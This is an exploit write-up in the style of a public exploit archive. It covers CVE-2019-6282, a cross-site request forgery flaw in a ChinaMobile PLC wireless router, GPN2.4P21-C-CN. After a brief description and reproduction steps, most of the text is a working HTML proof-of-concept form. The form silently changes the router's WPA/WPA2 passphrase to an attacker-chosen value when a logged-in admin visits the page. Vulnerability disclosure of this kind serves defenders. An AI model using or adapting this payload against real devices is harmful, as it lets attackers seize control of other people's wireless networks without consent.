# Exploit Title: PLC Wireless Router GPN2.4P21-C-CN -Cross-Site Request Forgery (CSRF)
# Date: 14/01/2019
# Exploit Author: Kumar Saurav
# Reference: https://0dayfindings.home.blog/2019/01/15/plc-wireless-router-gpn2-4p21-c-cn-cross-site-request-forgery-csrf/
# Vendor: ChinaMobile
# Category: Hardware
# Version: GPN2.4P21-C-CN (Firmware: W2001EN-00)
# Tested on: Windows
# CVE : CVE-2019-6282
#Description: ChinaMobile PLC Wireless Router GPN2.4P21-C-CN devices with firmware
W2001EN-00 have CSRF vulnerability via the cgi-bin/webproc?getpage=html/index.html
subpage=wlsecurity URI, allowing an Attacker to change the Wireless Security Password.
#Reproduction Steps:
Note: This enables an attacker to perform an unwanted action on a wireless router for which the user/admin is currently authenticated.
Step 1: User login to PLC wireless router
Step 2: User visits the attacker's malicious web page (PLC_CSRF.html)
Step 3: PLC_CSRF.html exploits CSRF vulnerability and changes the wireless Security (WPA/WPA2) key to "PSWDmatlo331#@!"
Step 4: (192.168.59.254 in my Case)
<html>
<body>
<form method="POST" action="http://192.168.59.254:80/cgi-bin/webproc">
<input type="text" name="sessionid" value="2a39a09e">
<input type="text" name="language" value="en_us">
<input type="text" name="sys_UserName" value="admin">
<input type="text" name="var:menu" value="setup">
<input type="text" name="var:page" value="wireless">
<input type="text" name="var:subpage" value="wlsecurity">
<input type="text" name="var:errorpage" value="wlsecurity">
<input type="text" name="getpage" value="html/index.html">
<input type="text" name="errorpage" value="html/index.html">
<input type="text" name="var:arrayid" value="0">
<input type="text" name="obj-action" value="set">
<input type="text" name=":InternetGatewayDevice.LANDevice.1.WLANConfiguration.1.BeaconType" value="11i">
<input type="text" name=":InternetGatewayDevice.LANDevice.1.WLANConfiguration.1.IEEE11iEncryptionModes" value="AESEncryption">
<input type="text" name=":InternetGatewayDevice.LANDevice.1.WLANConfiguration.1.IEEE11iAuthenticationMode" value="PSKAuthentication">
<input type="text" name=":InternetGatewayDevice.LANDevice.1.WLANConfiguration.1.X_TWSZ-COM_WPAGroupRekey" value="100">
<input type="text" name=":InternetGatewayDevice.LANDevice.1.WLANConfiguration.1.PreSharedKey.1.KeyPassphrase" value="PSWDmatlo331#@!">
<input type="text" name=":InternetGatewayDevice.LANDevice.1.WLANConfiguration.1.X_TWSZ-COM_PSKExpression" value="KeyPassphrase">
<input type="submit" value="Send">
</form>
</body>
</html>